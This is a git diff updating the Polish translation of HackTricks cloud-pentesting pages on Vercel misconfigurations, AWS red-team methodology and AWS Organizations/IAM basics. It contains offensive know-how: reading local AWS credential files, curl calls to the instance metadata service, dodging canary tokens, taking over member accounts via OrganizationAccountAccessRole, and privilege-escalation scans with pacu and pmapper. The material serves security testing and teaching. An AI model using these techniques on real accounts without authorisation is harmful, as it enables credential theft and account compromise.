 - **Ryzyko:** Nieautoryzowany dostęp do infrastruktury backendowej, nieudane bezpieczne połączenia i potencjalne naruszenia danych.
 4. **Nadmierne przypisania projektów**
-- **Błędna konfiguracja:** Przypisanie wielu projektów do jednej sieci Secure Compute bez odpowiedniej izolacji.
+- **Błąd w konfiguracji:** Przypisanie wielu projektów do jednej sieci Secure Compute bez odpowiedniej izolacji.
 - **Ryzyko:** Wspólne ujawnienie IP zwiększa powierzchnię ataku, potencjalnie pozwalając skompromitowanym projektom wpływać na inne.
 5. **Niewystarczające zarządzanie adresami IP**
-- **Błędna konfiguracja:** Nieprawidłowe zarządzanie lub rotacja dedykowanych adresów IP.
+- **Błąd w konfiguracji:** Nieprawidłowe zarządzanie lub rotacja dedykowanych adresów IP.
 - **Ryzyko:** Fałszowanie IP, luki w śledzeniu i potencjalne umieszczanie na czarnej liście, jeśli IP są powiązane z działalnością złośliwą.
-6. **Niepotrzebne dodawanie kontenerów budowlanych**
-- **Błędna konfiguracja:** Dodawanie kontenerów budowlanych do sieci Secure Compute, gdy dostęp do backendu nie jest wymagany podczas budowy.
-- **Ryzyko:** Zwiększona powierzchnia ataku, wydłużone opóźnienia w przydzielaniu i niepotrzebne zużycie zasobów sieciowych.
-7. **Brak bezpiecznego zarządzania sekretami obejścia**
-- **Błędna konfiguracja:** Ujawnianie lub niewłaściwe zarządzanie sekretami używanymi do obejścia ochrony wdrożeń.
+6. **Niepotrzebne włączanie kontenerów budowlanych**
+- **Błąd w konfiguracji:** Dodawanie kontenerów budowlanych do sieci Secure Compute, gdy dostęp do backendu nie jest wymagany podczas budowy.
+- **Ryzyko:** Zwiększona powierzchnia ataku, wydłużone opóźnienia w przydzielaniu zasobów i niepotrzebne zużycie zasobów sieciowych.
+7. **Niebezpieczne zarządzanie sekretami omijania**
+- **Błąd w konfiguracji:** Ujawnianie lub niewłaściwe zarządzanie sekretami używanymi do omijania ochrony wdrożeń.
 - **Ryzyko:** Nieautoryzowany dostęp do chronionych wdrożeń, co pozwala atakującym manipulować lub wdrażać złośliwy kod.
-8. **Ignorowanie konfiguracji awaryjnych regionów**
-- **Błędna konfiguracja:** Nie skonfigurowanie pasywnych regionów awaryjnych lub błędne skonfigurowanie ustawień awaryjnych.
+8. **Ignorowanie konfiguracji failover regionu**
+- **Błąd w konfiguracji:** Nie skonfigurowanie pasywnych regionów failover lub nieprawidłowe skonfigurowanie ustawień failover.
 - **Ryzyko:** Przestoje usług podczas awarii głównego regionu, co prowadzi do zmniejszonej dostępności i potencjalnej niespójności danych.
 9. **Przekroczenie limitów połączeń peeringu VPC**
-- **Błędna konfiguracja:** Próba nawiązania większej liczby połączeń peeringu VPC niż dozwolony limit (np. przekroczenie 50 połączeń).
+- **Błąd w konfiguracji:** Próba nawiązania większej liczby połączeń peeringu VPC niż dozwolony limit (np. przekroczenie 50 połączeń).
 - **Ryzyko:** Niemożność bezpiecznego połączenia z niezbędnymi usługami backendowymi, co powoduje niepowodzenia wdrożeń i zakłócenia operacyjne.
 10. **Niebezpieczne ustawienia sieciowe**
-- **Błędna konfiguracja:** Słabe zasady zapory, brak szyfrowania lub niewłaściwa segmentacja sieci w sieci Secure Compute.
+- **Błąd w konfiguracji:** Słabe zasady zapory, brak szyfrowania lub niewłaściwa segmentacja sieci w sieci Secure Compute.
 - **Ryzyko:** Przechwytywanie danych, nieautoryzowany dostęp do usług backendowych i zwiększona podatność na ataki.
 
 ---
@@ -428,10 +428,10 @@ Przyznawanie dostępu do dzienników audytu nieautoryzowanym członkom zespołu.
 #### Konfiguracje zabezpieczeń:
 
 - **Ujawnianie wrażliwych zmiennych**
-- **Błędna konfiguracja:** Prefiksowanie wrażliwych zmiennych `NEXT_PUBLIC_`, co czyni je dostępnymi po stronie klienta.
+- **Błąd w konfiguracji:** Prefiksowanie wrażliwych zmiennych `NEXT_PUBLIC_`, co czyni je dostępnymi po stronie klienta.
 - **Ryzyko:** Ujawnienie kluczy API, poświadczeń bazy danych lub innych wrażliwych danych publicznie, co prowadzi do naruszeń danych.
 - **Wrażliwe wyłączone**
-- **Błędna konfiguracja:** Jeśli wyłączone (domyślnie), możliwe jest odczytanie wartości wygenerowanych sekretów.
+- **Błąd w konfiguracji:** Jeśli wyłączone (domyślnie), możliwe jest odczytanie wartości wygenerowanych sekretów.
 - **Ryzyko:** Zwiększone prawdopodobieństwo przypadkowego ujawnienia lub nieautoryzowanego dostępu do wrażliwych informacji.
 
 {{#include ../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/README.md b/src/pentesting-cloud/aws-security/README.md
index 512b3c206..a7d3ed401 100644
--- a/src/pentesting-cloud/aws-security/README.md
+++ b/src/pentesting-cloud/aws-security/README.md
@@ -29,9 +29,9 @@ Narzędzia do symulacji ataków:
 
 ## Metodologia Pentestera/Red Team AWS
 
-Aby audytować środowisko AWS, bardzo ważne jest, aby wiedzieć: które **usługi są używane**, co jest **eksponowane**, kto ma **dostęp** do czego i jak są połączone wewnętrzne usługi AWS oraz **usługi zewnętrzne**.
+Aby audytować środowisko AWS, bardzo ważne jest, aby wiedzieć: które **usługi są używane**, co jest **eksponowane**, kto ma **dostęp** do czego i jak wewnętrzne usługi AWS są połączone z **zewnętrznymi usługami**.
 
-Z punktu widzenia Red Team, **pierwszym krokiem do skompromitowania środowiska AWS** jest uzyskanie jakichś **poświadczeń**. Oto kilka pomysłów, jak to zrobić:
+Z punktu widzenia Red Team, **pierwszym krokiem do skompromitowania środowiska AWS** jest zdobycie jakichś **poświadczeń**. Oto kilka pomysłów, jak to zrobić:
 
 - **Wycieki** w githubie (lub podobnych) - OSINT
 - **Inżynieria** społeczna
@@ -41,11 +41,11 @@ Z punktu widzenia Red Team, **pierwszym krokiem do skompromitowania środowiska
 - **Odczyt lokalnych plików**
 - `/home/USERNAME/.aws/credentials`
 - `C:\Users\USERNAME\.aws\credentials`
-- **Złamane** przez osoby trzecie
+- 3rd parties **skompromitowane**
 - **Wewnętrzny** pracownik
 - [**Cognito** ](aws-services/aws-cognito-enum/#cognito)poświadczenia
 
-Lub poprzez **skomplikowanie niezautoryzowanej usługi** eksponowanej:
+Lub przez **skomplikowanie nieautoryzowanej usługi** eksponowanej:
 
 {{#ref}}
 aws-unauthenticated-enum-access/
@@ -58,7 +58,7 @@ aws-permissions-for-a-pentest.md
 {{#endref}}
 
 > [!NOTE]
-> Po uzyskaniu poświadczeń musisz wiedzieć **do kogo należą te poświadczenia** i **do czego mają dostęp**, więc musisz przeprowadzić podstawową enumerację:
+> Po zdobyciu poświadczeń musisz wiedzieć **do kogo należą te poświadczenia** i **do czego mają dostęp**, więc musisz przeprowadzić podstawową enumerację:
 
 ## Podstawowa enumeracja
 
@@ -88,17 +88,17 @@ aws sns publish --topic-arn arn:aws:sns:us-east-1:*account id*:aaa --message aaa
 TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"`
 curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/dynamic/instance-identity/document
 ```
-> [!CAUTION]
+> [!OSTRZEŻENIE]
 > Zauważ, że firmy mogą używać **canary tokens**, aby zidentyfikować, kiedy **tokeny są kradzione i używane**. Zaleca się sprawdzenie, czy token jest tokenem canary, zanim go użyjesz.\
 > Więcej informacji [**sprawdź tę stronę**](aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md#honeytokens-bypass).
 
-### Org Enumeration
+### Enumeracja Organizacji
 
 {{#ref}}
 aws-services/aws-organizations-enum.md
 {{#endref}}
 
-### IAM Enumeration
+### Enumeracja IAM
 
 Jeśli masz wystarczające uprawnienia, **sprawdzenie uprawnień każdej jednostki w koncie AWS** pomoże Ci zrozumieć, co Ty i inne tożsamości możecie zrobić oraz jak **eskalować uprawnienia**.
 
@@ -109,27 +109,27 @@ Sprawdź **jak przeprowadzić enumerację i brute-forcing** w:
 aws-services/aws-iam-enum.md
 {{#endref}}
 
-> [!NOTE]
+> [!NOTATKA]
 > Teraz, gdy **masz pewne informacje o swoich poświadczeniach** (a jeśli jesteś w red team, miejmy nadzieję, że **nie zostałeś wykryty**). Czas ustalić, które usługi są używane w środowisku.\
 > W następnej sekcji możesz sprawdzić kilka sposobów na **enumerację niektórych powszechnych usług.**
 
-## Services Enumeration, Post-Exploitation & Persistence
+## Enumeracja Usług, Post-Exploitation i Utrzymywanie
 
-AWS ma zdumiewającą ilość usług, na następnej stronie znajdziesz **podstawowe informacje, enumerację** cheatsheets\*\*,\*\* jak **unikać wykrycia**, uzyskać **persistence** i inne **sztuczki po eksploatacji** dotyczące niektórych z nich:
+AWS ma zdumiewającą ilość usług, na następnej stronie znajdziesz **podstawowe informacje, enumerację** cheatsheets\*\*,\*\* jak **unikać wykrycia**, uzyskać **utrzymywanie** i inne **triki post-exploitation** dotyczące niektórych z nich:
 
 {{#ref}}
 aws-services/
 {{#endref}}
 
-Zauważ, że **nie** musisz wykonywać całej pracy **ręcznie**, poniżej w tym poście możesz znaleźć **sekcję o** [**automatycznych narzędziach**](./#automated-tools).
+Zauważ, że **nie** musisz wykonywać całej pracy **ręcznie**, poniżej w tym poście znajdziesz **sekcję o** [**automatycznych narzędziach**](./#automated-tools).
 
-Co więcej, na tym etapie możesz odkryć **więcej usług wystawionych dla nieautoryzowanych użytkowników**, które możesz wykorzystać:
+Co więcej, na tym etapie możesz odkryć **więcej usług wystawionych dla użytkowników nieautoryzowanych**, które możesz wykorzystać:
 
 {{#ref}}
 aws-unauthenticated-enum-access/
 {{#endref}}
 
-## Privilege Escalation
+## Eskalacja Uprawnień
 
 Jeśli możesz **sprawdzić przynajmniej swoje własne uprawnienia** do różnych zasobów, możesz **sprawdzić, czy możesz uzyskać dalsze uprawnienia**. Powinieneś skupić się przynajmniej na uprawnieniach wskazanych w:
 
@@ -137,33 +137,33 @@ Jeśli możesz **sprawdzić przynajmniej swoje własne uprawnienia** do różnyc
 aws-privilege-escalation/
 {{#endref}}
 
-## Publicly Exposed Services
+## Publicznie Wystawione Usługi
 
-Podczas enumeracji usług AWS mogłeś znaleźć niektóre z nich **wystawiające elementy do Internetu** (porty VM/Kontenerów, bazy danych lub usługi kolejkowe, migawki lub kosze...).\
+Podczas enumeracji usług AWS mogłeś znaleźć niektóre z nich **wystawiające elementy do Internetu** (porty VM/Kontenerów, bazy danych lub usługi kolejkowe, migawki lub koszyki...).\
 Jako pentester/red teamer zawsze powinieneś sprawdzić, czy możesz znaleźć **wrażliwe informacje / luki** w nich, ponieważ mogą one zapewnić Ci **dalszy dostęp do konta AWS**.
 
-W tej książce powinieneś znaleźć **informacje** o tym, jak znaleźć **wystawione usługi AWS i jak je sprawdzić**. Na temat tego, jak znaleźć **luki w wystawionych usługach sieciowych**, zalecałbym **szukać** konkretnej **usługi** w:
+W tej książce powinieneś znaleźć **informacje** o tym, jak znaleźć **wystawione usługi AWS i jak je sprawdzić**. Co do tego, jak znaleźć **luki w wystawionych usługach sieciowych**, zalecałbym **wyszukiwanie** konkretnej **usługi** w:
 
 {{#ref}}
 https://book.hacktricks.xyz/
 {{#endref}}
 
-## Compromising the Organization
+## Kompromitacja Organizacji
 
-### From the root/management account
+### Z konta głównego/zarządzającego
 
-Gdy konto zarządzające tworzy nowe konta w organizacji, **nowa rola** jest tworzona w nowym koncie, domyślnie nazwana **`OrganizationAccountAccessRole`** i nadająca politykę **AdministratorAccess** dla **konta zarządzającego**, aby uzyskać dostęp do nowego konta.
+Kiedy konto zarządzające tworzy nowe konta w organizacji, **nowa rola** jest tworzona w nowym koncie, domyślnie nazwana **`OrganizationAccountAccessRole`** i nadająca politykę **AdministratorAccess** dla **konta zarządzającego**, aby uzyskać dostęp do nowego konta.
 
 <figure><img src="../../images/image (171).png" alt=""><figcaption></figcaption></figure>
 
 Aby uzyskać dostęp jako administrator do konta podrzędnego, musisz:
 
-- **Skompromitować** **konto zarządzające** i znaleźć **ID** **konta podrzędnych** oraz **nazwy** **ról** (domyślnie OrganizationAccountAccessRole), które pozwalają kontu zarządzającemu uzyskać dostęp jako administrator.
+- **Skompromitować** konto **zarządzające** i znaleźć **ID** **konta podrzędnych** oraz **nazwy** **ról** (domyślnie OrganizationAccountAccessRole), które pozwalają kontu zarządzającemu uzyskać dostęp jako administrator.
 - Aby znaleźć konta podrzędne, przejdź do sekcji organizacji w konsoli AWS lub uruchom `aws organizations list-accounts`
 - Nie możesz znaleźć nazw ról bezpośrednio, więc sprawdź wszystkie niestandardowe polityki IAM i poszukaj tych, które pozwalają na **`sts:AssumeRole` nad wcześniej odkrytymi kontami podrzędnymi**.
 - **Skompromituj** **podmiot** w koncie zarządzającym z **uprawnieniem `sts:AssumeRole` nad rolą w kontach podrzędnych** (nawet jeśli konto pozwala każdemu z konta zarządzającego na podszywanie się, ponieważ jest to konto zewnętrzne, konkretne uprawnienia `sts:AssumeRole` są konieczne).
 
-## Automated Tools
+## Automatyczne Narzędzia
 
 ### Recon
 
@@ -240,7 +240,7 @@ AWS_PROFILE=dev cartography --neo4j-uri bolt://127.0.0.1:7687 --neo4j-password-p
 ### Privesc & Exploiting
 
 - [**SkyArk**](https://github.com/cyberark/SkyArk)**:** Odkryj najbardziej uprzywilejowanych użytkowników w skanowanym środowisku AWS, w tym AWS Shadow Admins. Używa powershell. Możesz znaleźć **definicję uprzywilejowanych polityk** w funkcji **`Check-PrivilegedPolicy`** w [https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1](https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1).
-- [**pacu**](https://github.com/RhinoSecurityLabs/pacu): Pacu to otwartoźródłowe **ramy eksploatacji AWS**, zaprojektowane do testowania bezpieczeństwa ofensywnego w środowiskach chmurowych. Może **enumerować**, znajdować **błędy konfiguracyjne** i **eksploatować** je. Możesz znaleźć **definicję uprzywilejowanych uprawnień** w [https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134) wewnątrz słownika **`user_escalation_methods`**.
+- [**pacu**](https://github.com/RhinoSecurityLabs/pacu): Pacu to otwartoźródłowe **ramy eksploatacji AWS**, zaprojektowane do testowania bezpieczeństwa ofensywnego w środowiskach chmurowych. Może **enumerować**, znajdować **błędy konfiguracyjne** i je **eksploatować**. Możesz znaleźć **definicję uprzywilejowanych uprawnień** w [https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam\_\_privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134) wewnątrz słownika **`user_escalation_methods`**.
 - Zauważ, że pacu **sprawdza tylko twoje własne ścieżki privesc** (nie w skali całego konta).
 ```bash
 # Install
@@ -255,7 +255,7 @@ pacu
 > exec iam__enum_permissions # Get permissions
 > exec iam__privesc_scan # List privileged permissions
 ```
-- [**PMapper**](https://github.com/nccgroup/PMapper): Principal Mapper (PMapper) to skrypt i biblioteka do identyfikacji ryzyk w konfiguracji AWS Identity and Access Management (IAM) dla konta AWS lub organizacji AWS. Modeluje różne użytkowników i role IAM w koncie jako graf skierowany, co umożliwia sprawdzanie **eskalacji uprawnień** oraz alternatywnych ścieżek, które atakujący mógłby wykorzystać, aby uzyskać dostęp do zasobu lub akcji w AWS. Możesz sprawdzić **uprawnienia używane do znajdowania ścieżek privesc** w plikach kończących się na `_edges.py` w [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing)
+- [**PMapper**](https://github.com/nccgroup/PMapper): Principal Mapper (PMapper) to skrypt i biblioteka do identyfikacji ryzyk w konfiguracji AWS Identity and Access Management (IAM) dla konta AWS lub organizacji AWS. Modeluje różnych użytkowników i role IAM w koncie jako skierowany graf, co umożliwia sprawdzanie **eskalacji uprawnień** oraz alternatywnych ścieżek, które atakujący mógłby wykorzystać, aby uzyskać dostęp do zasobu lub akcji w AWS. Możesz sprawdzić **uprawnienia używane do znajdowania ścieżek privesc** w plikach kończących się na `_edges.py` w [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing)
 ```bash
 # Install
 pip install principalmapper
@@ -277,8 +277,8 @@ pmapper --profile dev query 'preset privesc *' # Get privescs with admins
 pmapper --profile dev orgs create
 pmapper --profile dev orgs display
 ```
-- [**cloudsplaining**](https://github.com/salesforce/cloudsplaining): Cloudsplaining to narzędzie oceny bezpieczeństwa AWS IAM, które identyfikuje naruszenia zasady najmniejszych uprawnień i generuje raport HTML z priorytetem ryzyka.\
-Pokaże ci potencjalnie **nadmiernie uprawnionego** klienta, polityki inline i aws **polityki** oraz które **podmioty mają do nich dostęp**. (Sprawdza nie tylko privesc, ale także inne interesujące uprawnienia, zaleca się użycie).
+- [**cloudsplaining**](https://github.com/salesforce/cloudsplaining): Cloudsplaining to narzędzie do oceny bezpieczeństwa AWS IAM, które identyfikuje naruszenia zasady najmniejszych uprawnień i generuje raport HTML z priorytetem ryzyka.\
+Pokaże Ci potencjalnie **nadmiernie uprawnionego** klienta, polityki inline i aws oraz które **podmioty mają do nich dostęp**. (Sprawdza nie tylko privesc, ale także inne interesujące uprawnienia, zaleca się użycie).
 ```bash
 # Install
 pip install cloudsplaining
@@ -303,7 +303,7 @@ cloudsplaining scan --input-file /private/tmp/cloudsplaining/dev.json --output /
 # Compiance options: --compliance {hipaa,cis,cis1,cis2,pci}
 ## use "cis" for cis level 1 and 2
 ```
-- [**Prowler**](https://github.com/prowler-cloud/prowler): Prowler to narzędzie zabezpieczeń typu Open Source do przeprowadzania ocen najlepszych praktyk zabezpieczeń AWS, audytów, reakcji na incydenty, ciągłego monitorowania, wzmacniania i gotowości do analizy kryminalistycznej.
+- [**Prowler**](https://github.com/prowler-cloud/prowler): Prowler to narzędzie zabezpieczeń typu Open Source do przeprowadzania ocen najlepszych praktyk bezpieczeństwa AWS, audytów, reakcji na incydenty, ciągłego monitorowania, wzmacniania i gotowości do analizy kryminalistycznej.
 ```bash
 # Install python3, jq and git
 # Install
@@ -314,11 +314,11 @@ prowler -v
 prowler <provider>
 prowler aws --profile custom-profile [-M csv json json-asff html]
 ```
-- [**CloudFox**](https://github.com/BishopFox/cloudfox): CloudFox pomaga uzyskać świadomość sytuacyjną w nieznanych środowiskach chmurowych. Jest to narzędzie wiersza poleceń typu open source stworzone, aby pomóc testerom penetracyjnym i innym profesjonalistom w dziedzinie bezpieczeństwa ofensywnego znaleźć wykorzystywalne ścieżki ataku w infrastrukturze chmurowej.
+- [**CloudFox**](https://github.com/BishopFox/cloudfox): CloudFox pomaga uzyskać świadomość sytuacyjną w nieznanych środowiskach chmurowych. To narzędzie wiersza poleceń typu open source, stworzone, aby pomóc testerom penetracyjnym i innym profesjonalistom w dziedzinie bezpieczeństwa ofensywnego znaleźć możliwe do wykorzystania ścieżki ataku w infrastrukturze chmurowej.
 ```bash
 cloudfox aws --profile [profile-name] all-checks
 ```
-- [**ScoutSuite**](https://github.com/nccgroup/ScoutSuite): Scout Suite to narzędzie do audytu bezpieczeństwa w chmurze o otwartym kodzie źródłowym, które umożliwia ocenę stanu bezpieczeństwa środowisk chmurowych.
+- [**ScoutSuite**](https://github.com/nccgroup/ScoutSuite): Scout Suite to narzędzie do audytu bezpieczeństwa w chmurze wielochmurowej o otwartym kodzie źródłowym, które umożliwia ocenę stanu bezpieczeństwa środowisk chmurowych.
 ```bash
 # Install
 virtualenv -p python3 venv
@@ -334,8 +334,8 @@ scout aws -p dev
 
 ### Stały audyt
 
-- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodian to silnik reguł do zarządzania publicznymi kontami i zasobami w chmurze. Umożliwia użytkownikom **definiowanie polityk w celu umożliwienia dobrze zarządzanej infrastruktury chmurowej**, która jest zarówno bezpieczna, jak i zoptymalizowana kosztowo. Konsoliduje wiele ad-hoc skryptów, które organizacje mają, w lekkie i elastyczne narzędzie, z jednolitymi metrykami i raportowaniem.
-- [**pacbot**](https://github.com/tmobile/pacbot)**: Policy as Code Bot (PacBot)** to platforma do **ciągłego monitorowania zgodności, raportowania zgodności i automatyzacji bezpieczeństwa dla chmury**. W PacBot polityki bezpieczeństwa i zgodności są wdrażane jako kod. Wszystkie zasoby odkryte przez PacBot są oceniane pod kątem zgodności z tymi politykami. Ramy **auto-fix** PacBot zapewniają możliwość automatycznego reagowania na naruszenia polityki poprzez podejmowanie zdefiniowanych działań.
+- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodian to silnik reguł do zarządzania publicznymi kontami i zasobami w chmurze. Umożliwia użytkownikom **definiowanie polityk w celu umożliwienia dobrze zarządzanej infrastruktury chmurowej**, która jest zarówno bezpieczna, jak i zoptymalizowana pod kątem kosztów. Konsoliduje wiele ad-hoc skryptów, które organizacje mają, w lekkie i elastyczne narzędzie, z jednolitymi metrykami i raportowaniem.
+- [**pacbot**](https://github.com/tmobile/pacbot)**: Policy as Code Bot (PacBot)** to platforma do **ciągłego monitorowania zgodności, raportowania zgodności i automatyzacji bezpieczeństwa dla chmury**. W PacBot polityki bezpieczeństwa i zgodności są wdrażane jako kod. Wszystkie zasoby odkryte przez PacBot są oceniane pod kątem zgodności z tymi politykami. Ramy **auto-fix** PacBot umożliwiają automatyczną reakcję na naruszenia polityki poprzez podejmowanie zdefiniowanych działań.
 - [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert to bezserwerowa, **w czasie rzeczywistym** ramka analizy danych, która umożliwia **przyjmowanie, analizowanie i powiadamianie** o danych z dowolnego środowiska, **używając źródeł danych i logiki powiadamiania, które definiujesz**. Zespoły bezpieczeństwa komputerowego używają StreamAlert do skanowania terabajtów danych dzienników każdego dnia w celu wykrywania incydentów i reakcji.
 
 ## DEBUG: Przechwytywanie żądań AWS cli
@@ -357,7 +357,7 @@ export AWS_CA_BUNDLE=~/Downloads/certificate.pem
 # Run aws cli normally trusting burp cert
 aws ...
 ```
-## References
+## Odniesienia
 
 - [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ)
 - [https://cloudsecdocs.com/aws/defensive/tooling/audit/](https://cloudsecdocs.com/aws/defensive/tooling/audit/)
diff --git a/src/pentesting-cloud/aws-security/aws-basic-information/README.md b/src/pentesting-cloud/aws-security/aws-basic-information/README.md
index 8c126157d..89ce91075 100644
--- a/src/pentesting-cloud/aws-security/aws-basic-information/README.md
+++ b/src/pentesting-cloud/aws-security/aws-basic-information/README.md
@@ -1,8 +1,8 @@
-# AWS - Podstawowe Informacje
+# AWS - Podstawowe informacje
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-## Hierarchia Organizacji
+## Hierarchia organizacji
 
 ![](<../../../images/image (151).png>)
 
@@ -10,7 +10,7 @@
 
 W AWS istnieje **konto główne**, które jest **rodzicem dla wszystkich kont** w Twojej **organizacji**. Jednak nie musisz używać tego konta do wdrażania zasobów, możesz utworzyć **inne konta, aby oddzielić różne infrastruktury AWS** między sobą.
 
-Jest to bardzo interesujące z punktu widzenia **bezpieczeństwa**, ponieważ **jedno konto nie będzie mogło uzyskać dostępu do zasobów innego konta** (chyba że specjalnie utworzone są mosty), dzięki czemu możesz stworzyć granice między wdrożeniami.
+Jest to bardzo interesujące z punktu widzenia **bezpieczeństwa**, ponieważ **jedno konto nie będzie mogło uzyskać dostępu do zasobów innego konta** (chyba że mosty zostaną specjalnie utworzone), dzięki czemu możesz tworzyć granice między wdrożeniami.
 
 Dlatego w organizacji istnieją **dwa typy kont** (mówimy o kontach AWS, a nie kontach użytkowników): jedno konto, które jest wyznaczone jako konto zarządzające, oraz jedno lub więcej kont członkowskich.
 
@@ -21,10 +21,10 @@ Dlatego w organizacji istnieją **dwa typy kont** (mówimy o kontach AWS, a nie
 - Usuwać konta z organizacji
 - Zarządzać zaproszeniami
 - Stosować polityki do podmiotów (korzeni, OU lub kont) w organizacji
-- Włączyć integrację z obsługiwanymi usługami AWS, aby zapewnić funkcjonalność usług we wszystkich kontach w organizacji.
+- Włączyć integrację z obsługiwanymi usługami AWS, aby zapewnić funkcjonalność usług w ramach wszystkich kont w organizacji.
 - Możliwe jest zalogowanie się jako użytkownik główny, używając adresu e-mail i hasła użytego do utworzenia tego konta głównego/organizacji.
 
-Konto zarządzające ma **odpowiedzialność konta płatnika** i jest odpowiedzialne za opłacanie wszystkich opłat, które są naliczane przez konta członkowskie. Nie możesz zmienić konta zarządzającego organizacją.
+Konto zarządzające ma **obowiązki konta płatnika** i jest odpowiedzialne za opłacanie wszystkich opłat, które są naliczane przez konta członkowskie. Nie możesz zmienić konta zarządzającego organizacją.
 
 - **Konta członkowskie** składają się z pozostałych kont w organizacji. Konto może być członkiem tylko jednej organizacji w danym czasie. Możesz przypisać politykę do konta, aby zastosować kontrole tylko do tego jednego konta.
 - Konta członkowskie **muszą używać ważnego adresu e-mail** i mogą mieć **nazwę**, generalnie nie będą mogły zarządzać rozliczeniami (ale mogą otrzymać do nich dostęp).
@@ -40,9 +40,9 @@ aws organizations create-organizational-unit --parent-id r-lalala --name TestOU
 ```
 ### Service Control Policy (SCP)
 
-**Polityka kontroli usług (SCP)** to polityka, która określa usługi i działania, które użytkownicy i role mogą wykorzystywać w kontach, na które wpływa SCP. SCP są **podobne do polityk uprawnień IAM**, z tą różnicą, że **nie przyznają żadnych uprawnień**. Zamiast tego, SCP określają **maksymalne uprawnienia** dla organizacji, jednostki organizacyjnej (OU) lub konta. Gdy dołączysz SCP do korzenia swojej organizacji lub OU, **SCP ogranicza uprawnienia dla podmiotów w kontach członkowskich**.
+**Polityka kontroli usług (SCP)** to polityka, która określa usługi i działania, które użytkownicy i role mogą wykorzystywać w kontach, na które wpływa SCP. SCP są **podobne do polityk uprawnień IAM**, z tym że **nie przyznają żadnych uprawnień**. Zamiast tego SCP określają **maksymalne uprawnienia** dla organizacji, jednostki organizacyjnej (OU) lub konta. Gdy dołączysz SCP do korzenia swojej organizacji lub OU, **SCP ogranicza uprawnienia dla podmiotów w kontach członkowskich**.
 
-To jest JEDYNY sposób, aby **nawet użytkownik root mógł być powstrzymany** przed zrobieniem czegoś. Na przykład, może być użyty do powstrzymania użytkowników przed wyłączaniem CloudTrail lub usuwaniem kopii zapasowych.\
+To jest JEDYNY sposób, aby **nawet użytkownik root mógł być powstrzymany** przed zrobieniem czegoś. Na przykład, może być użyta do powstrzymania użytkowników przed wyłączaniem CloudTrail lub usuwaniem kopii zapasowych.\
 Jedynym sposobem na obejście tego jest również skompromitowanie **konta głównego**, które konfiguruje SCP (konto główne nie może być zablokowane).
 
 > [!WARNING]
@@ -50,15 +50,19 @@ Jedynym sposobem na obejście tego jest również skompromitowanie **konta głó
 
 Przykłady SCP:
 
-- Całkowite odmówienie konta root
+- Całkowite zablokowanie konta root
 - Zezwolenie tylko na określone regiony
 - Zezwolenie tylko na usługi z białej listy
-- Odmowa wyłączenia GuardDuty, CloudTrail i S3 Public Block Access
+- Zablokowanie dostępu do GuardDuty, CloudTrail i S3 Public Block Access przed
 
-- Odmowa usuwania lub modyfikowania ról odpowiedzialności za bezpieczeństwo/incydenty.
+byciem wyłączonym
 
-- Odmowa usuwania kopii zapasowych.
-- Odmowa tworzenia użytkowników IAM i kluczy dostępu
+- Zablokowanie ról odpowiedzialności za bezpieczeństwo/incydenty przed usunięciem lub
+
+zmianą.
+
+- Zablokowanie usuwania kopii zapasowych.
+- Zablokowanie tworzenia użytkowników IAM i kluczy dostępu
 
 Znajdź **przykłady JSON** w [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html)
 
@@ -78,17 +82,17 @@ Zauważ, że w AWS są 4 partycje, ale tylko 3 sposoby ich nazywania:
 
 ## IAM - Zarządzanie Tożsamością i Dostępem
 
-IAM to usługa, która pozwoli Ci zarządzać **Uwierzytelnianiem**, **Autoryzacją** i **Kontrolą Dostępu** w Twoim koncie AWS.
+IAM to usługa, która pozwoli Ci zarządzać **uwierzytelnianiem**, **autoryzacją** i **kontrolą dostępu** w Twoim koncie AWS.
 
 - **Uwierzytelnianie** - Proces definiowania tożsamości i weryfikacji tej tożsamości. Proces ten można podzielić na: Identyfikację i weryfikację.
-- **Autoryzacja** - Określa, do czego tożsamość ma dostęp w systemie, gdy już została uwierzytelniona.
-- **Kontrola Dostępu** - Metoda i proces, w jaki sposób dostęp jest przyznawany do zabezpieczonego zasobu.
+- **Autoryzacja** - Określa, do czego tożsamość ma dostęp w systemie po jej uwierzytelnieniu.
+- **Kontrola dostępu** - Metoda i proces, w jaki sposób dostęp jest przyznawany do zabezpieczonego zasobu.
 
 IAM można zdefiniować przez jego zdolność do zarządzania, kontrolowania i regulowania mechanizmów uwierzytelniania, autoryzacji i kontroli dostępu tożsamości do Twoich zasobów w Twoim koncie AWS.
 
 ### [Użytkownik główny konta AWS](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html) <a href="#id_root" id="id_root"></a>
 
-Kiedy po raz pierwszy tworzysz konto Amazon Web Services (AWS), zaczynasz od pojedynczej tożsamości logowania, która ma **pełny dostęp do wszystkich** usług i zasobów AWS w koncie. To jest _**główny użytkownik**_ konta AWS i uzyskuje się do niego dostęp, logując się za pomocą **adresu e-mail i hasła, które użyłeś do utworzenia konta**.
